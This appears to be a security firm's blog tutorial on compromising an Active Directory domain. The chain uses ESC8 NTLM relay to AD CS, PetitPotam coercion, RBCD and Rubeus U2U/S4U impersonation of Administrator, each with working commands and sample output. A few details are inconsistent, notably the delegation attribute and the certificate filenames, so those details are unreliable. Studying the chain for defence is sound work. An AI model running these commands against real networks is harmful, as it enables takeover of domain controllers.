Performing NTLM relay attacks against AD CS in ESC8 scenarios by exploiting RBCD
AD CS (Active Directory Certificate Services) is often viewed as a secondary infrastructure component, but it can pose an extremely critical attack surface in Active Directory environments. In particular, the ESC8 scenario allows attackers to exploit web-based enrolment endpoints to carry out NTLM relay attacks and obtain valid certificates for domain authentication.
In this article, I analyse an end-to-end attack chain that combines relaying to AD CS, authentication coercion via PetitPotam and exploitation of Resource-Based Constrained Delegation (RBCD). I will show you how these techniques can be chained together to achieve the impersonation of privileged accounts and the compromise of the Domain Controller, whilst also exploring the role of U2U and S4U in the final stages of the attack.
Technical Background on ESC8 and RBCD
ESC8 and NTLM relay attacks against AD CS
In the “Certified Pre-Owned” research published on the SpecterOps blog, ESC8 (Active Directory Certificate Services Escalation Scenario) identifies a vulnerability where Active Directory Certificate Services (AD CS) HTTP endpoints are exposed to NTLM relay attacks. Essentially, if web enrollment infrastructure is active and lacks proper protection, NTLM authentication can be intercepted and relayed to AD CS to request a certificate, which can then be used for domain authentication. Indeed, SpecterOps defines ESC8 as “NTLM Relay to AD CS HTTP Endpoints”.
The critical takeaway is that, in this scenario, AD CS is no longer just an internal PKI, but evolves into a full-scale identity attack surface. A certificate issued improperly can carry an operational weight nearly equivalent to that of a privileged credential, especially if the template and authentication context permit it. This interpretation aligns with SpecterOps’ analysis regarding the impact of AD CS abuse.
Furthermore, Microsoft has published specific guidance for mitigating NTLM relay attacks against AD CS, clarifying that scenarios such as PetitPotam fall under the broader category of NTLM relay attacks targeting AD CS.
The Role of RBCD in Attacks Against AD CS
Resource-Based Constrained Delegation (RBCD) is a Kerberos mechanism where delegation authority is not configured on the “delegating” account, but rather on the target resource itself.
The technical core of this process is the Active Directory attribute ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity, which is used to determine which principals can act on behalf of other identities toward a specific service. Microsoft explicitly documents this as the attribute employed for these access checks.
From a defensive perspective, RBCD is highly significant because it shifts the focus to the control of the target object: if an attacker manages to modify the correct attribute on a machine or service, they can create the necessary conditions to impersonate Kerberos identities toward that resource. Independent technical sources also describe RBCD abuse specifically as the manipulation of the delegation attribute on the target object.
Consequently, RBCD should not be viewed merely as an advanced Kerberos feature, but as an impact multiplier when combined with other vectors that allow for obtaining a new valid identity or gaining control over a machine principal.
How to execute an NTLM relay attack
Identifying the AD CS attack surface and prerequisites
The first phase involves determining whether:
- the environment exposes AD CS HTTP enrollment endpoints,
- the configuration is compatible with ESC8 scenarios, and
- there are templates or enrollment paths capable of producing certificates valid for authentication.
The “Certified Pre-Owned” research (cited at the beginning of this article) places the core of ESC8 exactly here: the combination of HTTP enrollment and NTLM relay.
The command below utilizes the certipy tool to identify the Certification Authority (CA) and check if the /certsrv HTTP endpoint is active—a necessary condition.
$ certipy find -u user@domain.local -p password -dc-ip <IP_DC> -vulnerable
The -vulnerable flag filters the results to show only templates with known misconfigurations (ESC1, ESC8, etc.) that meet the requirements for exploitation. In this case, besides having web enrollment active, Extended Protection for Authentication (EPA) must be disabled (set to False), as its absence removes a critical layer of protection against unauthorized requests. When these two conditions coexist (active web enrollment and disabled EPA), an attacker capable of creating or compromising a machine account can request a certificate through the web interface and subsequently use it to authenticate with elevated privileges.
Below is the redacted output from the previously mentioned certipy command.
<redacted> [!] Vulnerabilities ESC8 : Web Enrollment is enabled over HTTPS and Channel Binding is disabled. <redacted> Web Enrollment HTTP Enabled : False HTTPS Enabled : True Channel Binding (EPA) : False <redacted>
Executing coercion actions with PetitPotam
At this stage, we need to act as a bridge and relay valid requests toward AD CS. To achieve this, I will use two tools: ntlmrelayx and PetitPotam.
PetitPotam is used to force the target server (e.g., DC01$) to interact with an arbitrary machine by exploiting the EfsRpcOpenFileRaw function within the MS-EFSRPC protocol. During this interaction, the target sends its machine account NTLMv2 hash, which I will then use to craft Certificate Signing Requests (CSR) to AD CS.
Below is the command to invoke PetitPotam for this specific use case:
$ python3 PetitPotam.py <ATTACKER_IP> <TARGET_DC_IP>
And the resulting command output:
[-] Connecting to ncacn_np:10.0.102.12[\PIPE\lsarpc] [+] Connected! [+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e [+] Successfully bound! [-] Sending EfsRpcOpenFileRaw! [-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED! [+] OK! Using unpatched function! [-] Sending EfsRpcEncryptFileSrv! [+] Got expected ERROR_BAD_NETPATH exception!! [+] Attack worked!
As you can see, although the primary function EfsRpcOpenFileRaw was patched, PetitPotam successfully triggered authentication coercion by using the alternative function EfsRpcEncryptFileSrv.
ntlmrelayx: Relaying and Obtaining the Certificate
While the target attempts to authenticate, ntlmrelayx intercepts the packets and relays them to the CA, requesting a certificate for the target computer:
$ ntlmrelayx.py -t http://<CA_IP>/certsrv/certfnsh.asp -smb2support --adcs --template <Target_Template>
Here is the output, redacted for privacy reasons:
[*] (SMB): Received connection from <DC_IP>, attacking target https://<ADCS>.domain.local [*] HTTP server returned error code 200, treating as a successful login [*] (SMB): Authenticating connection from DOMAIN.LOCAL/DC$@<DC_IP> against https://<ADCS>.domain.local SUCCEED [1] [*] https://DOMAIN.LOCAL/DC$@<ADCS>.domain.local → Generating CSR ... [*] https://DOMAIN.LOCAL/DC$@<ADCS>.domain.local → CSR generated! [*] https://DOMAIN.LOCAL/DC$@<ADCS>.domain.local → Getting certificate ... [*] https://DOMAIN.LOCAL/DC$@<ADCS>.domain.local → GOT CERTIFICATE! ID 4984 [*] https://DOMAIN.LOCAL/DC$@<ADCS>.domain.local → Writing PKCS#12 certificate to ./DC.pfx [*] https://DOMAIN.LOCAL/DC$@<ADCS>.domain.local → Certificate successfully written to file
_Output:_ Save the retrieved certificate (e.g., dc.pfx).
Bypassing MachineAccountQuota: LDAP Shell via certipy
Since MachineAccountQuota = 0, creating a new computer account is not an option. Instead, I will use the newly obtained certificate to authenticate as the target computer itself and modify its attributes via an LDAP shell:
$ certipy auth -pfx dc01.pfx -dc-ip <DC_IP> -ldap-shell
Here is the breakdown of the two flags used in the command:
- -pfx: enables the use of the retrieved certificate for Kerberos authentication;
- -ldap-shell: opens an interactive console to modify AD objects via LDAP.
Once inside the certipy LDAP shell, we have full control over the target’s computer object.
Enabling RBCD via LDAP Shell
In this scenario, if you already own another machine account or have compromised an existing one, you can delegate permissions to that account.
From within the LDAP shell, use the following command to configure the delegation:
# Inside the certipy LDAP shell
set_rbcd <Target_Computer$> <Attacker_Controlled_User$>
This command writes the SID of the controlled account into the target’s ms-DS-Allowed-To-Delegate-To attribute.
The SPN-less trigger: RBCD on users without an SPN
Once RBCD is configured via the certipy LDAP shell targeting a standard user account (since creating a new machine account is not possible), you encounter a Kerberos protocol limitation: standard delegation requires the delegated account to have a Service Principal Name (SPN). A normal user account does not possess one.
Because a standard user (without an SPN) is being used, Kerberos will fail to encrypt the delegation tickets. This is where the bug discovered by James Forshaw comes into play, serving as a specific “trigger” to force the delegation.
Aligning session keys and hashes
In a standard workflow, when a ticket is requested for a service (e.g., CIFS/DC01), the Key Distribution Center (KDC) encrypts the final portion of the ticket (the service ticket) using the hash of the target service’s password. If the target is a standard user (lacking an SPN), the KDC has no way of knowing which key to use for encryption, causing the request to fail.
U2U authentication is a Kerberos protocol extension used when a client needs to authenticate to a service that does not possess a long-term key. Instead of using a static password to encrypt the ticket, U2U utilizes a temporary key: the session key from the target user’s Ticket Granting Ticket (TGT).
In essence, the sender tells the KDC: “Do not encrypt the ticket with the recipient’s password; instead, use the key already present in their active TGT.”
Obtaining the TGT and session key
Using the tool rubeus, I request a TGT for the user authorized for delegation in the previous phase. It is essential to extract the TGT session key using the following command:
C:\> Rubeus.exe asktgt /user:UserControllato /password:PasswordAttuale /outfile:tgt.kirbi /show
Password reset
Now, you must set the user’s NT Hash to match the TGT session key you just obtained. This step effectively “breaks” the account for standard logins but enables the delegation mechanism. Here is the command:
PS C:\> Set-UserPasswordHash -User "UserControllato" -NewHash "SESSION_KEY_DEL_TGT"
U2U (User-to-User) and S4U abuse
With the hash now aligned with the session key, I utilize the U2U (User-to-User) extension. Since the key the KDC would use for encryption is known, I can instruct the system to issue a ticket on behalf of Administrator.
Here is what happens “under the hood” when running the Rubeus s4u /u2u command:
- Target TGT Presentation: The attacker sends the “sacrificial” user’s TGT (the one enabled for RBCD) to the KDC. This allows the KDC to extract the correct session key.
- TGS Request (S4U2self): The attacker requests a ticket for themselves (the sacrificial user) in the name of the Administrator. Thanks to the U2U flag, the KDC encrypts this ticket using the session key from the TGT provided in step 1.
- Key Knowledge: Since the attacker has extracted the session key from the TGT (or set it equal to the password hash via the “trigger”), they can decrypt and manipulate that ticket.
- S4U2proxy: Having obtained a valid ticket (via U2U), the attacker can now proceed with constrained delegation toward the final server (DC01).
I execute everything in a single command that leverages the extracted session key to complete the delegation loop:
PS C:\> Rubeus.exe s4u /ticket:tgt.kirbi /impersonateuser:Administrator /msdsspn:cifs/DC01.domain.local /u2u /key:SESSION_KEY /ptt
Here is the technical breakdown of the flags used in the command:
- s4u: executes the Service for User S4U2self and S4U2proxy steps;
- /impersonateuser:Administrator: specifies the identity to be impersonated;
- /msdsspn: indicates the service to be accessed (e.g., cifs for files, ldap for directory data);
- /u2u: instructs Kerberos: “Do not use the service key (which doesn’t exist since the user lacks an SPN); use the session key instead”;
- /key: the session key from the previous step, which now matches the user’s hash;
- /ptt: (Pass-the-Ticket) injects the resulting ticket directly into the current session.
Finally, I can execute this last command:
PS C:\> ls \\DC01\C$
# Or use psexec/wmiexec to obtain a shell as SYSTEM
Conclusions
The abuse of the techniques presented in this article clearly demonstrates how the inherent complexity of an Active Directory environment hides often invisible attack paths capable of leading to a total domain compromise. This is not merely a matter of software bug exploits, but the strategic manipulation of protocols and features designed for legitimate purposes.
The chain linking ESC8 and S4U extensions in an RBCD attack highlights a fundamental truth: in a modern network, security is defined not just by installed patches, but by the management of trust relationships between objects.
At Betrusted, we are committed to shedding light on these subtle and silent chains, identifying and neutralizing escalation vectors before malicious actors can turn a standard configuration into a fatal entry point. Our mission is to provide our clients with the depth of analysis required to anticipate the adversary, replacing the uncertainty of complexity with a defense strategy based on granular knowledge of protocols and privileges.
Discover how we can help you
Together, we’ll find the best solutions to tackle the challenges your business faces every day.


